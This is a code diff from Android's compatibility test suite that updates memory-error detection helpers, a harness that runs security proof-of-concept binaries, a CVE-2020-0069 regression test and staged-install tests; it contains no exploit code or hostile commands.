-        aligned_size = size + (new_alignment - (size % new_alignment));
+    /* User specified alignment is not respected and is overridden by
+     * MINIMUM_ALIGNMENT. This is required to catch OOB read when read offset
+     * is less than user specified alignment. "MINIMUM_ALIGNMENT" helps to
+     * avoid bus errors due to non-aligned memory.                         */
+    if (0 != (size % MINIMUM_ALIGNMENT)) {
+        aligned_size = size + (MINIMUM_ALIGNMENT - (size % MINIMUM_ALIGNMENT));
     }
 #endif
 
@@ -134,11 +131,7 @@
     total_size = (num_pages * page_size);
     start_ptr = (char *) real_memalign(page_size, total_size);
 #ifdef CHECK_OVERFLOW
-#ifdef FORCE_UNALIGN
-    mem_ptr = (char *) start_ptr + ((num_pages - 1) * page_size) - size;
-#else
     mem_ptr = (char *) start_ptr + ((num_pages - 1) * page_size) - aligned_size;
-#endif /* FORCE_UNALIGN */
     DISABLE_MEM_ACCESS((start_ptr + ((num_pages - 1) * page_size)), page_size);
 #endif /* CHECK_OVERFLOW */
 #ifdef CHECK_UNDERFLOW
@@ -154,6 +147,7 @@
     return mem_ptr;
 }
 
+#ifndef DISABLE_MALLOC_OVERLOADING
 void *malloc(size_t size) {
     if (s_memutils_initialized == 0) {
         memutils_init();
@@ -163,7 +157,7 @@
         return real_malloc(size);
     }
 #endif /* ENABLE_SELECTIVE_OVERLOADING */
-    return memalign(sizeof(size_t), size);
+    return memalign(MINIMUM_ALIGNMENT, size);
 }
 
 void *calloc(size_t nitems, size_t size) {
@@ -210,6 +204,7 @@
     }
     return real_realloc(ptr, size);
 }
+#endif /* DISABLE_MALLOC_OVERLOADING */
 
 void free(void *ptr) {
     if (s_memutils_initialized == 0) {
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils.h b/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
index 10ee31e..4d3791e 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
@@ -19,6 +19,7 @@
 #endif /* __cplusplus */
 #define MAX_ENTRIES        (1024 * 1024)
 #define INITIAL_VAL        (0xBE)
+#define MINIMUM_ALIGNMENT  (16)
 
 #define DISABLE_MEM_ACCESS(mem, size)\
     mprotect((char *) mem, size, PROT_NONE);
@@ -43,9 +44,11 @@
 } map_struct_t;
 
 static void* (*real_memalign)(size_t, size_t) = NULL;
+#ifndef DISABLE_MALLOC_OVERLOADING
 static void* (*real_calloc)(size_t, size_t) = NULL;
 static void* (*real_malloc)(size_t) = NULL;
 static void* (*real_realloc)(void *ptr, size_t size) = NULL;
+#endif /* DISABLE_MALLOC_OVERLOADING */
 static void (*real_free)(void *) = NULL;
 static int s_memutils_initialized = 0;
 static int s_mem_map_index = 0;
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
new file mode 100644
index 0000000..80e125f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
@@ -0,0 +1,205 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/mman.h>
+#include <stdbool.h>
+#include <stdlib.h>
+#include <dlfcn.h>
+#include <string.h>
+#include <unistd.h>
+#include "common.h"
+#include "memutils_track.h"
+
+void memutils_init(void) {
+    real_memalign = dlsym(RTLD_NEXT, "memalign");
+    if (!real_memalign) {
+        return;
+    }
+    real_malloc = dlsym(RTLD_NEXT, "malloc");
+    if (!real_malloc) {
+        return;
+    }
+    real_free = dlsym(RTLD_NEXT, "free");
+    if (!real_free) {
+        return;
+    }
+
+#ifdef CHECK_MEMORY_LEAK
+    real_calloc = dlsym(RTLD_NEXT, "calloc");
+    if (!real_calloc) {
+        return;
+    }
+    atexit(exit_vulnerable_if_memory_leak_detected);
+#endif /* CHECK_MEMORY_LEAK */
+
+    s_memutils_initialized = true;
+}
+
+void *memalign(size_t alignment, size_t size) {
+    if (!s_memutils_initialized) {
+        memutils_init();
+    }
+    void* mem_ptr = real_memalign(alignment, size);
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+    if(mem_ptr) {
+        memset(mem_ptr, INITIAL_VAL, size);
+    }
+#endif /* CHECK_UNINITIALIZED_MEMORY */
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_MEMALIGN_CHECK) != ENABLE_MEMALIGN_CHECK) {
+        return mem_ptr;
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+    if (!is_tracking_required(size)) {
+        return mem_ptr;
+    }
+    if (s_allocation_index >= MAX_ENTRIES) {
+        return mem_ptr;
+    }
+    s_allocation_list[s_allocation_index].mem_ptr = mem_ptr;
+    s_allocation_list[s_allocation_index].mem_size = size;
+    ++s_allocation_index;
+    return mem_ptr;
+}
+
+void *malloc(size_t size) {
+    if (!s_memutils_initialized) {
+        memutils_init();
+    }
+    void* mem_ptr = real_malloc(size);
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+    if(mem_ptr) {
+        memset(mem_ptr, INITIAL_VAL, size);
+    }
+#endif /* CHECK_UNINITIALIZED_MEMORY */
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_MALLOC_CHECK) != ENABLE_MALLOC_CHECK) {
+        return mem_ptr;
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+    if (!is_tracking_required(size)) {
+        return mem_ptr;
+    }
+    if (s_allocation_index >= MAX_ENTRIES) {
+        return mem_ptr;
+    }
+    s_allocation_list[s_allocation_index].mem_ptr = mem_ptr;
+    s_allocation_list[s_allocation_index].mem_size = size;
+    ++s_allocation_index;
+    return mem_ptr;
+}
+
+void free(void *ptr) {
+    if (!s_memutils_initialized) {
+        memutils_init();
+    }
+    if (ptr) {
+        for (int i = 0; i < s_allocation_index; ++i) {
+            if (ptr == s_allocation_list[i].mem_ptr) {
+                real_free(ptr);
+                memset(&s_allocation_list[i], 0,
+                       sizeof(allocated_memory_struct));
+                return;
+            }
+        }
+    }
+    return real_free(ptr);
+}
+
+#ifdef CHECK_MEMORY_LEAK
+void *calloc(size_t nitems, size_t size) {
+    if (!s_memutils_initialized) {
+        memutils_init();
+    }
+    void* mem_ptr = real_calloc(nitems, size);
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_CALLOC_CHECK) != ENABLE_CALLOC_CHECK) {
+        return mem_ptr;
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+    if (!is_tracking_required((nitems *size))) {
+        return mem_ptr;
+    }
+    if (s_allocation_index >= MAX_ENTRIES) {
+        return mem_ptr;
+    }
+    s_allocation_list[s_allocation_index].mem_ptr = mem_ptr;
+    s_allocation_list[s_allocation_index].mem_size = nitems * size;
+    ++s_allocation_index;
+    return mem_ptr;
+}
+
+void exit_vulnerable_if_memory_leak_detected(void) {
+    bool memory_leak_detected = false;
+    for (int i = 0; i < s_allocation_index; ++i) {
+        if (s_allocation_list[i].mem_ptr) {
+            real_free(s_allocation_list[i].mem_ptr);
+            memset(&s_allocation_list[i], 0,
+                    sizeof(allocated_memory_struct));
+            memory_leak_detected = true;
+        }
+    }
+    if(memory_leak_detected) {
+        exit(EXIT_VULNERABLE);
+    }
+    return;
+}
+#endif /* CHECK_MEMORY_LEAK */
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+bool is_memory_uninitialized() {
+    for (int i = 0; i < s_allocation_index; ++i) {
+        char *mem_ptr = s_allocation_list[i].mem_ptr;
+        size_t mem_size = s_allocation_list[i].mem_size;
+        if (mem_ptr) {
+
+#ifdef CHECK_FOUR_BYTES
+            if(mem_size > (2 * sizeof(uint32_t))) {
+                char *mem_ptr_start = (char *)s_allocation_list[i].mem_ptr;
+                char *mem_ptr_end = (char *)s_allocation_list[i].mem_ptr + mem_size - 1;
+                for (size_t j = 0; j < sizeof(uint32_t); ++j) {
+                    if (*mem_ptr_start++ == INITIAL_VAL) {
+                        return true;
+                    }
+                    if (*mem_ptr_end-- == INITIAL_VAL) {
+                        return true;
+                    }
+                }
+                continue;
+            }
+#endif /* CHECK_FOUR_BYTES */
+
+            for (size_t j = 0; j < mem_size; ++j) {
+                if (*mem_ptr++ == INITIAL_VAL) {
+                    return true;
+                }
+            }
+        }
+    }
+    return false;
+}
+
+#endif /* CHECK_UNINITIALIZED_MEMORY */
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.h b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.h
new file mode 100644
index 0000000..dff76e2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.h
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifdef __cplusplus
+extern "C" {
+#endif /* __cplusplus */
+#define MAX_ENTRIES               (32 * 1024)
+#define INITIAL_VAL               0xBE
+
+#define ENABLE_NONE               0x00
+#define ENABLE_MEMALIGN_CHECK     0x01
+#define ENABLE_MALLOC_CHECK       0x02
+#define ENABLE_CALLOC_CHECK       0x04
+#define ENABLE_ALL                ENABLE_MEMALIGN_CHECK | ENABLE_MALLOC_CHECK |\
+    ENABLE_CALLOC_CHECK
+
+typedef struct {
+    void *mem_ptr;
+    size_t mem_size;
+} allocated_memory_struct;
+
+static bool s_memutils_initialized = false;
+static int s_allocation_index = 0;
+static allocated_memory_struct s_allocation_list[MAX_ENTRIES] = { { 0, 0 } };
+
+extern bool is_tracking_required(size_t size);
+static void* (*real_memalign)(size_t, size_t) = NULL;
+static void* (*real_malloc)(size_t) = NULL;
+static void (*real_free)(void *) = NULL;
+
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+extern char enable_selective_overload;
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+
+#ifdef CHECK_MEMORY_LEAK
+static void* (*real_calloc)(size_t, size_t) = NULL;
+void exit_vulnerable_if_memory_leak_detected(void);
+#endif
+
+#ifdef CHECK_UNINITIALIZED_MEMORY
+extern bool is_memory_uninitialized();
+#endif
+
+#ifdef __cplusplus
+}
+#endif /* __cplusplus */
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
index 8986c32..aeea4a0 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
@@ -34,7 +34,7 @@
 #include <android/IOMXBufferSource.h>
 #include <media/omx/1.0/WOmx.h>
 #include <binder/MemoryDealer.h>
-#include "HardwareAPI.h"
+#include "media/hardware/HardwareAPI.h"
 #include "OMX_Component.h"
 #include <binder/ProcessState.h>
 #include <media/stagefright/foundation/ALooper.h>
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index ac8908b..6d9454f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -17,8 +17,9 @@
 package android.security.cts;
 
 import com.android.compatibility.common.util.CrashUtils;
+import com.android.ddmlib.IShellOutputReceiver;
 import com.android.ddmlib.NullOutputReceiver;
-import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.ddmlib.CollectingOutputReceiver;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.device.NativeDevice;
 import com.android.tradefed.log.LogUtil.CLog;
@@ -74,8 +75,7 @@
      * @return the console output from the binary
      */
     public static String runPoc(String pocName, ITestDevice device) throws Exception {
-        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
-        return device.executeShellCommand("/data/local/tmp/" + pocName);
+        return runPoc(pocName, device, SecurityTestCase.TIMEOUT_NONDETERMINISTIC);
     }
 
     /**
@@ -101,17 +101,9 @@
      */
     public static String runPoc(String pocName, ITestDevice device, int timeout, String arguments)
             throws Exception {
-        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
         CollectingOutputReceiver receiver = new CollectingOutputReceiver();
-        if (arguments != null) {
-            device.executeShellCommand("/data/local/tmp/" + pocName + " " + arguments, receiver,
-                    timeout, TimeUnit.SECONDS, 0);
-        } else {
-            device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout,
-                    TimeUnit.SECONDS, 0);
-        }
-        String output = receiver.getOutput();
-        return output;
+        runPoc(pocName, device, timeout, arguments, receiver);
+        return receiver.getOutput();
     }
 
     /**
@@ -137,15 +129,46 @@
      */
     public static void runPocNoOutput(String pocName, ITestDevice device, int timeout,
             String arguments) throws Exception {
-        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
-        NullOutputReceiver receiver = new NullOutputReceiver();
-        if (arguments != null) {
-            device.executeShellCommand("/data/local/tmp/" + pocName + " " + arguments, receiver,
-                    timeout, TimeUnit.SECONDS, 0);
-        } else {
-            device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout,
-                    TimeUnit.SECONDS, 0);
+        runPoc(pocName, device, timeout, arguments, null);
+    }
+
+    /**
+     * Pushes and runs a binary with arguments to the selected device and
+     * ignores any of its output.
+     *
+     * @param pocName name of the poc binary
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     * @param arguments input arguments for the poc
+     * @param receiver the type of receiver to run against
+     */
+    public static void runPoc(String pocName, ITestDevice device, int timeout,
+            String arguments, IShellOutputReceiver receiver) throws Exception {
+        assertPocExecutable(pocName, device);
+        if (receiver == null) {
+            receiver = new NullOutputReceiver();
         }
+        if (arguments == null) {
+            arguments = "";
+        }
+        device.executeShellCommand(TMP_PATH + pocName + " " + arguments,
+                receiver, timeout, TimeUnit.SECONDS, 0);
+    }
+
+    /**
+     * Assert the poc is executable
+     * @param pocName name of the poc binary
+     * @param device device to be ran on
+     */
+    private static void assertPocExecutable(String pocName, ITestDevice device) throws Exception {
+        String fullPocPath = TMP_PATH + pocName;
+        device.executeShellCommand("chmod 777 " + fullPocPath);
+        assertEquals("'" + pocName + "' must exist and be readable.", 0,
+                runCommandGetExitCode("test -r " + fullPocPath, device));
+        assertEquals("'" + pocName + "'poc must exist and be writable.", 0,
+                runCommandGetExitCode("test -w " + fullPocPath, device));
+        assertEquals("'" + pocName + "'poc must exist and be executable.", 0,
+                runCommandGetExitCode("test -x " + fullPocPath, device));
     }
 
     /**
@@ -330,11 +353,10 @@
      * @param arguments input arguments for the poc
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
-
      */
     public static int runPocGetExitStatus(String pocName, String arguments, ITestDevice device,
             int timeout) throws Exception {
-        device.executeShellCommand("chmod +x " + TMP_PATH + pocName);
+        assertPocExecutable(pocName, device);
         CollectingOutputReceiver receiver = new CollectingOutputReceiver();
         String cmd = TMP_PATH + pocName + " " + arguments + " > /dev/null 2>&1; echo $?";
         long time = System.currentTimeMillis();
@@ -374,14 +396,21 @@
                 runPocGetExitStatus(pocName, arguments, device, timeout) != 113);
     }
 
-
+    /**
+     * Runs the pacrunner utility against a given proxyautoconfig file, asserting that it doesn't
+     * crash
+     * @param pacName the name of the proxy autoconfig script from the /res folder
+     * @param device device to be ran on
+     */
     public static int runProxyAutoConfig(String pacName, ITestDevice device) throws Exception {
-        runCommandLine("chmod +x /data/local/tmp/pacrunner", device);
-        String targetPath = "/data/local/tmp/" + pacName + ".pac";
-        AdbUtils.pushResource("/" + pacName + ".pac", targetPath, device);
-        int code = runCommandGetExitCode("/data/local/tmp/pacrunner " + targetPath, device);
+        pacName += ".pac";
+        String targetPath = TMP_PATH + pacName;
+        AdbUtils.pushResource("/" + pacName, targetPath, device);
+        runPocAssertNoCrashes(
+                "pacrunner", device, targetPath,
+                new CrashUtils.Config().setProcessPatterns("pacrunner"));
         runCommandLine("rm " + targetPath, device);
-        return code;
+        return 0; // b/157172329 fix tests that manually check the result; remove return statement
     }
 
     /**
@@ -406,8 +435,22 @@
      */
     public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
             CrashUtils.Config config) throws Exception {
+        runPocAssertNoCrashes(pocName, device, null, config);
+    }
+
+    /**
+     * Runs the poc binary and asserts that there are no security crashes that match the expected
+     * process pattern, including arguments when running.
+     * @param pocName a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param arguments input arguments for the poc
+     * @param config a crash parser configuration
+     */
+    public static void runPocAssertNoCrashes(String pocName, ITestDevice device, String arguments,
+            CrashUtils.Config config) throws Exception {
         AdbUtils.runCommandLine("logcat -c", device);
-        AdbUtils.runPocNoOutput(pocName, device, SecurityTestCase.TIMEOUT_NONDETERMINISTIC);
+        AdbUtils.runPocNoOutput(pocName, device,
+                SecurityTestCase.TIMEOUT_NONDETERMINISTIC, arguments);
         assertNoCrashes(device, config);
     }
 
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
index 3d729f6..8ce2804 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
@@ -26,16 +26,6 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc19_07 extends SecurityTestCase {
     /**
-     * Bug-137282168
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2019-07")
-    public void testPocBug_137282168() throws Exception {
-        assertFalse("Heap buffer overflow encountered",
-            AdbUtils.runPocCheckExitCode("Bug-137282168", getDevice(), 300));
-    }
-
-    /**
      * Bug-137878930
      */
     @Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
new file mode 100644
index 0000000..ea944ab1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_03 extends SecurityTestCase {
+
+    /**
+     * b/147882143
+     * b/152874234
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-03")
+    public void testPocCVE_2020_0069() throws Exception {
+        if(containsDriver(getDevice(), "/dev/mtk_cmdq") ||
+           containsDriver(getDevice(), "/proc/mtk_cmdq") ||
+           containsDriver(getDevice(), "/dev/mtk_mdp")) {
+            AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0069",
+                                                         getDevice(), 300);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index a605358..0df41b1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -188,15 +188,9 @@
 
     /**
      * Check if a driver is present on a machine.
-     * deprecated: use AdbUtils.stat() instead!
      */
-    @Deprecated
-    protected boolean containsDriver(ITestDevice mDevice, String driver) throws Exception {
-        String result = mDevice.executeShellCommand("ls -Zl " + driver);
-        if(result.contains("No such file or directory")) {
-            return false;
-        }
-        return true;
+    protected boolean containsDriver(ITestDevice device, String driver) throws Exception {
+        return AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
     }
 
     private long getDeviceUptime() throws DeviceNotAvailableException {
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
index 842d83a..3442ce1 100644
--- a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
+++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
@@ -77,6 +77,13 @@
         } catch (RemoteException e) {
             throw new RuntimeException("failed to freeze device orientation", e);
         }
+        wakeupDeviceAndPressHome();
+    }
+
+    private void wakeupDeviceAndPressHome() throws Exception {
+        mDevice.wakeUp();
+        mDevice.pressMenu();
+        mDevice.pressHome();
     }
 
     @Override
diff --git a/hostsidetests/stagedinstall/Android.bp b/hostsidetests/stagedinstall/Android.bp
index 6cf22d2..870c01e 100644
--- a/hostsidetests/stagedinstall/Android.bp
+++ b/hostsidetests/stagedinstall/Android.bp
@@ -28,6 +28,7 @@
 
     data:   [
         ":StagedInstallTest",
+        ":deapexer.zip",
     ],
 
     test_suites: [
@@ -532,3 +533,20 @@
   filename: "com.android.apex.cts.shim.v2_unsigned_payload.apex",
   installable: false,
 }
+
+// collects deapexer and its dependency modules (libc++ and debugfs_static) to the zip file.
+genrule {
+  name: "deapexer.zip",
+  tools: [
+      "deapexer",
+      "debugfs_static",
+      "soong_zip",
+  ],
+  cmd: "rm -rf mkdir $(genDir)/deapexer && mkdir $(genDir)/deapexer && " +
+       "cp $(location deapexer) $(genDir)/deapexer && " +
+       "cp $(location debugfs_static) $(genDir)/deapexer && " +
+       "HOST_OUT_SHARED_LIBRARIES=$$(dirname $(location deapexer))/../lib64 && " +
+       "cp $${HOST_OUT_SHARED_LIBRARIES}/libc++.* $(genDir)/deapexer && " +
+       "$(location soong_zip) -o $(out) -C $(genDir)/deapexer -D $(genDir)/deapexer",
+  out: ["deapexer.zip"],
+}
diff --git a/hostsidetests/stagedinstall/app/AndroidManifest.xml b/hostsidetests/stagedinstall/app/AndroidManifest.xml
index bc8bb0b..ebe83e6 100644
--- a/hostsidetests/stagedinstall/app/AndroidManifest.xml
+++ b/hostsidetests/stagedinstall/app/AndroidManifest.xml
@@ -17,7 +17,10 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.tests.stagedinstall" >
 
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <queries>
+        <package android:name="com.android.cts.ctsshim" />
+    </queries>
+
     <application>
         <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
                   android:exported="true" />
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 1ce2daf..93064e6 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -331,6 +331,15 @@
     }
 
     @Test
+    public void testStageAnotherSessionImmediatelyAfterAbandonMultiPackage() throws Exception {
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        int sessionId = stageMultipleApks(TestApp.Apex2, TestApp.A1, TestApp.B1)
+                .assertSuccessful().getSessionId();
+        abandonSession(sessionId);
+        stageSingleApk(TestApp.Apex2).assertSuccessful();
+    }
+
+    @Test
     public void testNoSessionUpdatedBroadcastSentForStagedSessionAbandon() throws Exception {
         assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
@@ -969,6 +978,47 @@
         assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
     }
 
+    // Failure reason of staged install should be be persisted for single sessions
+    @Test
+    public void testFailureReasonPersists_SingleSession_Commit() throws Exception {
+        int sessionId = Install.single(TestApp.A1).setStaged().commit();
+        // Install TestApp.A2 so that after reboot TestApp.A1 fails to install as it is downgrade
+        Install.single(TestApp.A2).commit();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
+        storeSessionId(sessionId);
+    }
+
+    @Test
+    public void testFailureReasonPersists_SingleSession_VerifyPostReboot() throws Exception {
+        int sessionId = retrieveLastSessionId();
+        assertSessionFailedWithMessage(sessionId, "Failed to install sessionId: " + sessionId);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
+    }
+
+    // If apk installation fails in one staged session, then all staged session should fail.
+    @Test
+    public void testFailureReasonPersists_MultipleSession_Commit() throws Exception {
+        int firstSessionId = Install.single(TestApp.A1).setStaged().commit();
+        int secondSessionId = Install.single(TestApp.B1).setStaged().commit();
+        // Install TestApp.A2 so that after reboot TestApp.A1 fails to install as it is downgrade
+        Install.single(TestApp.A2).commit();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
+        storeSessionIds(Arrays.asList(firstSessionId, secondSessionId));
+    }
+
+    @Test
+    public void testFailureReasonPersists_MultipleSession_VerifyPostReboot() throws Exception {
+        List<Integer> sessionIds = retrieveLastSessionIds();
+        int failingSessionId = sessionIds.get(0);
+        for (int sessionId: sessionIds) {
+            assertSessionFailedWithMessage(sessionId, "Failed to install sessionId: "
+                    + failingSessionId);
+        }
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
+    }
+
     @Test
     public void testSamegradeSystemApex_Commit() throws Exception {
         final PackageInfo shim = InstrumentationRegistry.getInstrumentation().getContext()
@@ -1206,6 +1256,13 @@
                 (session) -> assertThat(session).isStagedSessionFailed());
     }
 
+    private static void assertSessionFailedWithMessage(int sessionId, String msg) {
+        assertSessionState(sessionId, (session) -> {
+            assertThat(session).isStagedSessionFailed();
+            assertThat(session.getStagedSessionErrorMessage()).contains(msg);
+        });
+    }
+
     private static void assertSessionState(
             int sessionId, Consumer<PackageInstaller.SessionInfo> assertion) {
         PackageInstaller packageInstaller = getPackageInstaller();
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
index c41493b..2034faa 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
@@ -25,6 +25,12 @@
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.AaptParser;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.RunUtil;
+import com.android.tradefed.util.ZipUtil;
 
 import org.hamcrest.CoreMatchers;
 import org.junit.After;
@@ -32,9 +38,15 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Enumeration;
 import java.util.List;
 import java.util.stream.Collectors;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipFile;
 
 /**
  * Tests to validate that only what is considered a correct shim apex can be installed.
@@ -53,10 +65,22 @@
 
     private static final String SHIM_APEX_PACKAGE_NAME = "com.android.apex.cts.shim";
     private static final String SHIM_APK_CODE_PATH_PREFIX = "/apex/" + SHIM_APEX_PACKAGE_NAME + "/";
+    private static final String STAGED_INSTALL_TEST_FILE_NAME = "StagedInstallTest.apk";
+    private static final String APEX_FILE_SUFFIX = ".apex";
+    private static final String DEAPEXER_ZIP_FILE_NAME = "deapexer.zip";
+    private static final String DEAPEXING_FOLDER_NAME = "deapexing_";
+    private static final String DEAPEXER_FILE_NAME = "deapexer";
+    private static final String DEBUGFS_STATIC_FILE_NAME = "debugfs_static";
+
+    private static final long DEFAULT_RUN_TIMEOUT_MS = 30 * 1000L;
 
     private static final List<String> ALLOWED_SHIM_PACKAGE_NAMES = Arrays.asList(
             "com.android.cts.ctsshim", "com.android.cts.priv.ctsshim");
 
+    private File mDeapexingDir;
+    private File mDeapexerZip;
+    private File mAllApexesZip;
+
     /**
      * Runs the given phase of a test by calling into the device.
      * Throws an exception if the test phase fails.
@@ -73,6 +97,9 @@
         assertThat(runDeviceTests("com.android.tests.stagedinstall",
                 "com.android.tests.stagedinstall.StagedInstallTest",
                 "cleanUp")).isTrue();
+        if (mDeapexingDir != null) {
+            FileUtil.recursiveDelete(mDeapexingDir);
+        }
     }
 
     @Before
@@ -80,6 +107,9 @@
